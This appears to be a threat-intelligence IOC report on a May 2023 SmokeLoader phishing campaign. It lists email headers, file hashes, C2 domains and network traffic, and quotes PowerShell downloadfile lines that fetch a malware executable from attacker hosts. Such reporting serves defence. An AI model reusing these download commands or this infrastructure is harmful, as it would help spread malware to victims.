#smokeloader_300523

#IOC #OptiData #VR #smokeloader #ZIP #PSWEB #VBS

https://pastebin.com/DgFvarG0

previous_contact:
https://pastebin.com/AayUSaXq
https://pastebin.com/RDVXCe0J
https://pastebin.com/QpG70u8T
https://pastebin.com/BJzcXqkK
https://pastebin.com/kBW7nkZ5
https://pastebin.com/Z7zq0YkW
https://pastebin.com/b8PkhMyN
https://pastebin.com/hkskwKvc
https://pastebin.com/JmthzrL4
https://pastebin.com/1scwT0f8
https://pastebin.com/MP3kCSSh

FAQ:
https://radetskiy.wordpress.com/2018/10/19/ioc_smokeloader_111018/
https://research.checkpoint.com/2019-resurgence-of-smokeloader/

attack_vector
--------------
email attach .zip? > .VBS > WSH > PowerShell > URL > get download string > %temp%\*.exe


# # # # # # # #
email_headers
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Return-Path: <[email protected]>
Received: from mail.emm.ua (mail.t-sna.com [193.19.240.25])
Received: from internal.domain; Tue, 30 May 2023 08:39:18 +0300
Reply-To: [email protected]
Date: Tue, 30 May 2023 08:39:15 +0300
Subject: Re: акт звірки та рахунки
From: бух. відділ <[email protected]>
Message-ID: <[email protected]>


# # # # # # # #
other senders
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operator.lv01[@]emm[.]ua
support[@]romb[.]ua


# # # # # # # #
files
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SHA-256		54874acabfbf873ce2c0f8daf7f65f4e545a8e1dc8bb99c312c22a16134a5088
File name	Рахунок (без ПДВ) № 28 від 28.05.2023.zip   [ Zip archive data ]
File size	65.67 KB (67242 bytes)

SHA-256		6a89bcfa9e6e5f8ab93be9031720f281b5e8923092622163a9d7b7192ad9c5d4
File name	Рахунок (без ПДВ) № 28 від 28.05.2023.pdf   [ PDF document, version 1.4 ]   ! - CLEAN
File size	60.86 KB (62318 bytes)

SHA-256		375798f97452cb9143ffb08922bebb13eb6bb0c27a101ebc568a3e5295361936
File name	AKT_28_05_2023p._pax_28_05_2023p.vbs    [ JavaScript ]
File size	22.90 KB (23454 bytes)

SHA-256		9892c10b94bbb90688cdc3dd6d51f3343b9cc19069fa4c1fe3594600a3d03330
File name	trust.exe   [ PE32 executable (GUI) ]
File size	274.00 KB (280576 bytes)


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activity
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PL_SCR      americanocoffea{ .ru >  $client.downloadfile('http://americanocoffea{ .ru/antirecord/trust.exe',$path)      ! - may change URL and filename
                                    $client.downloadfile('http://jskgdhjkdfhjdkjhd844{ .ru/antirecord/trust.exe',$path)

C2

polinamailserverip{ .ru/
lamazone{ .site/
criticalosl{ .tech/
maximprofile{ .net/
zaliphone{ .com/
humanitarydp{ .ug/
zaikaopentra{ .com.ug/
zaikaopentra-com-ug{ .online/
infomalilopera{ .ru/
jskgdhjkdfhjdkjhd844{ .ru/
jkghdj2993jdjjdjd{ .ru/
kjhgdj99fuller{ .ru/
azartnyjboy{ .com/
zalamafiapopcultur{ .eu/
hopentools{ .site/
kismamabeforyougo{ .com/
kissmafiabeforyoudied{ .eu/
gondurasonline{ .ug/
nabufixservice{ .name/
filterfullproperty{ .ru/
alegoomaster{ .com/
freesitucionap{ .com/
droopily{ .eu/
prostotaknet{ .net/
zakolibal{ .online/
verycheap{ .store/


netwrk
--------------
176.124.193.111	americanocoffea{ .ru		80	HTTP	GET / HTTP/1.1
176.124.193.111	americanocoffea{ .ru		80	HTTP	GET /antirecord/trust.exe HTTP/1.1

comp
--------------
195.123.219.57	freesitucionap{ .com		80	HTTP	POST / HTTP/1.1  (application/x-www-form-urlencoded)	Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

proc
--------------


persist
--------------
n/a


drop
--------------
C:\Users\%username%\AppData\Local\Temp\%random%.exe


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additional info
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n/a


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VT & Intezer
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https://www.virustotal.com/gui/file/54874acabfbf873ce2c0f8daf7f65f4e545a8e1dc8bb99c312c22a16134a5088/details
https://www.virustotal.com/gui/file/6a89bcfa9e6e5f8ab93be9031720f281b5e8923092622163a9d7b7192ad9c5d4/details
https://www.virustotal.com/gui/file/375798f97452cb9143ffb08922bebb13eb6bb0c27a101ebc568a3e5295361936/details
https://www.virustotal.com/gui/file/9892c10b94bbb90688cdc3dd6d51f3343b9cc19069fa4c1fe3594600a3d03330/details
https://analyze.intezer.com/analyses/f6d5cfe5-181c-490f-8551-ae9bc12b64c3

VR